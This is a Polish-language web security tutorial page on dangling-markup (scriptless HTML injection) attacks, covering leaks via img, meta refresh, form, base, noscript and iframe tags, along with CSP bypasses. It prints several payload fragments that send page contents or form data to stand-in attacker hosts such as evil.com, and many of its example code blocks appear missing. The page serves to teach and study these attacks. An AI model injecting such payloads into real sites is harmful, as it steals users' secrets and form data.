Dangling Markup - HTML scriptless injection
Podsumowanie
Ta technika może być użyta do wydobycia informacji od użytkownika, gdy znaleziono wstrzyknięcie HTML. Jest to bardzo przydatne, jeśli nie znajdziesz sposobu na wykorzystanie XSS, ale możesz wstrzyknąć pewne znaczniki HTML. Jest to również przydatne, jeśli jakiś sekret jest zapisany w postaci zwykłego tekstu w HTML i chcesz go wydobyć z klienta, lub jeśli chcesz wprowadzić w błąd wykonanie pewnego skryptu.
Kilka omawianych tutaj technik może być użytych do obejścia niektórych Polityk Bezpieczeństwa Zawartości poprzez wydobywanie informacji w nieoczekiwany sposób (znaczniki html, CSS, znaczniki http-meta, formularze, base...).
Główne Zastosowania
Kradzież tajemnic w postaci zwykłego tekstu
Jeśli wstrzykniesz <img src='http://evil.com/log.cgi?
gdy strona jest ładowana, ofiara wyśle Ci cały kod między wstrzykniętym tagiem img
a następnym cudzysłowiem w kodzie. Jeśli jakiś sekret znajduje się w tej części, go ukradniesz (możesz zrobić to samo używając podwójnego cudzysłowu, sprawdź, co może być bardziej interesujące do użycia).
Jeśli tag img
jest zabroniony (np. z powodu CSP), możesz również użyć <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
Zauważ, że Chrome blokuje adresy URL HTTP zawierające "<" lub "\n", więc możesz spróbować innych schematów protokołów, takich jak "ftp".
Możesz także nadużyć CSS @import
(wyśle cały kod do momentu znalezienia ";")
Możesz również użyć <table
:
Możesz także wstawić tag <base
. Wszystkie informacje zostaną wysłane do zamknięcia cytatu, ale wymaga to pewnej interakcji użytkownika (użytkownik musi kliknąć w jakiś link, ponieważ tag base zmieni domenę wskazywaną przez link):
Kradzież formularzy
Następnie formularze wysyłające dane do ścieżki (np. <form action='update_profile.php'>
) będą wysyłać dane do złośliwej domeny.
Kradzież formularzy 2
Ustaw nagłówek formularza: <form action='http://evil.com/log_steal'>
to nadpisze następny nagłówek formularza i wszystkie dane z formularza zostaną wysłane do atakującego.
Kradzież formularzy 3
Przycisk może zmienić adres URL, pod który zostaną wysłane informacje z formularza, za pomocą atrybutu "formaction":
Atakujący może użyć tego do kradzieży informacji.
Znajdź przykład tego ataku w tym opracowaniu.
Kradzież tajemnic w czystym tekście 2
Korzystając z najnowszej wymienionej techniki kradzieży formularzy (wstrzykiwanie nowego nagłówka formularza), można następnie wstrzyknąć nowe pole wprowadzania:
i to pole wejściowe będzie zawierać całą zawartość między swoim podwójnym cudzysłowiem a następnym podwójnym cudzysłowiem w HTML. Ten atak łączy "Kradzież jasnych tekstowych sekretów" z "Kradzież formularzy2".
Możesz zrobić to samo wstrzykując formularz i znacznik <option>
. Wszystkie dane do momentu znalezienia zamkniętego </option>
zostaną wysłane:
Wstrzykiwanie parametrów formularza
Możesz zmienić ścieżkę formularza i wstawić nowe wartości, aby wykonać nieoczekiwane działanie:
Kradzież tajemnic w czystym tekście za pomocą noscript
<noscript></noscript>
Jest to znacznik, którego zawartość będzie interpretowana, jeśli przeglądarka nie obsługuje JavaScript (możesz włączyć/wyłączyć JavaScript w Chrome w chrome://settings/content/javascript).
Sposobem na wyciek treści strony internetowej od punktu wstrzyknięcia do jej końca do witryny kontrolowanej przez atakującego będzie wstrzyknięcie tego:
Ominięcie CSP za pomocą interakcji użytkownika
Z badaniami portswiggers można dowiedzieć się, że nawet w najbardziej ograniczonych CSP środowiskach nadal można wyciekać dane za pomocą interakcji użytkownika. W tym przypadku będziemy używać ładunku:
Zauważ, że poprosisz ofiarę, aby kliknęła w link, który ją przekieruje do payloadu kontrolowanego przez Ciebie. Zauważ również, że atrybut target
wewnątrz tagu base
będzie zawierał treść HTML do następnego pojedynczego cudzysłowu.
Spowoduje to, że wartość window.name
po kliknięciu w link będzie całą tą treścią HTML. Dlatego, kontrolując stronę, do której ofiara uzyskuje dostęp poprzez kliknięcie w link, możesz uzyskać dostęp do window.name
i wyciec te dane:
Fałszywy skryptowy przepływ pracy 1 - Atak na przestrzeń nazw HTML
Wstaw nowy tag z identyfikatorem wewnątrz HTML, który nadpisze następny i będzie miało wartość wpływającą na przepływ skryptu. W tym przykładzie wybierasz, z kim informacja będzie udostępniona:
Mylący skrypt 2 - Atak na przestrzeń nazw skryptu
Utwórz zmienne w przestrzeni nazw JavaScript poprzez wstawienie tagów HTML. Następnie ta zmienna wpłynie na przebieg aplikacji:
Nadużycie JSONP
Jeśli znajdziesz interfejs JSONP, możesz wywołać dowolną funkcję z dowolnymi danymi:
Możesz nawet spróbować wykonać pewien kod JavaScript:
Nadużycie tagu Iframe
Dokument potomny ma zdolność do przeglądania i modyfikowania właściwości location
swojego rodzica, nawet w sytuacjach międzydomenowych. Pozwala to na osadzenie skryptu wewnątrz tagu iframe, który może przekierować klienta na dowolną stronę:
To można zniwelować używając czegoś takiego jak: sandbox=' allow-scripts allow-top-navigation'
Iframe może również zostać wykorzystany do wycieku poufnych informacji z innej strony korzystając z atrybutu nazwy iframe. Dzieje się tak, ponieważ można stworzyć iframe, który zagnieżdża sam siebie, wykorzystując wstrzyknięcie HTML, które sprawia, że poufne informacje pojawiają się w atrybucie nazwy iframe, a następnie uzyskać dostęp do tej nazwy z początkowego iframe i wyciec informacji.
For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta nadużycie
Możesz użyć meta http-equiv
do wykonania kilku działań takich jak ustawienie pliku Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1">
lub przekierowanie (w tym przypadku za 5s): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Można to uniknąć za pomocą CSP dotyczącego http-equiv (Content-Security-Policy: default-src 'self';
, lub Content-Security-Policy: http-equiv 'self';
)
Nowy znacznik HTML <portal
Możesz znaleźć bardzo interesujące badania na temat podatności do wykorzystania znacznika <portal tutaj.
W chwili pisania tego tekstu musisz włączyć znacznik portal w Chrome pod adresem chrome://flags/#enable-portals
, inaczej nie będzie działać.
Wycieki HTML
Nie wszystkie sposoby wycieku łączności w HTML będą przydatne dla Dangling Markup, ale czasami mogą pomóc. Sprawdź je tutaj: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
Wycieki SS
Jest to miks pomiędzy dangling markup i XS-Leaks. Z jednej strony podatność pozwala na wstrzyknięcie HTML (ale nie JS) na stronie tej samej domeny, którą będziemy atakować. Z drugiej strony nie będziemy atakować bezpośrednio strony, na której możemy wstrzyknąć HTML, ale innej strony.
pageSS-LeaksXS-Search/XS-Leaks
XS-Search są skierowane na wyciek informacji między domenami poprzez nadużycie ataków kanałów bocznych. Dlatego jest to inna technika niż Dangling Markup, jednakże niektóre z technik nadużywają włączenia tagów HTML (z i bez wykonania JS), jak Wstrzykiwanie CSS lub Opóźnione Ładowanie Obrazów.
pageXS-Search/XS-LeaksLista Wykrywania Ataków Brute-Force
Referencje
Last updated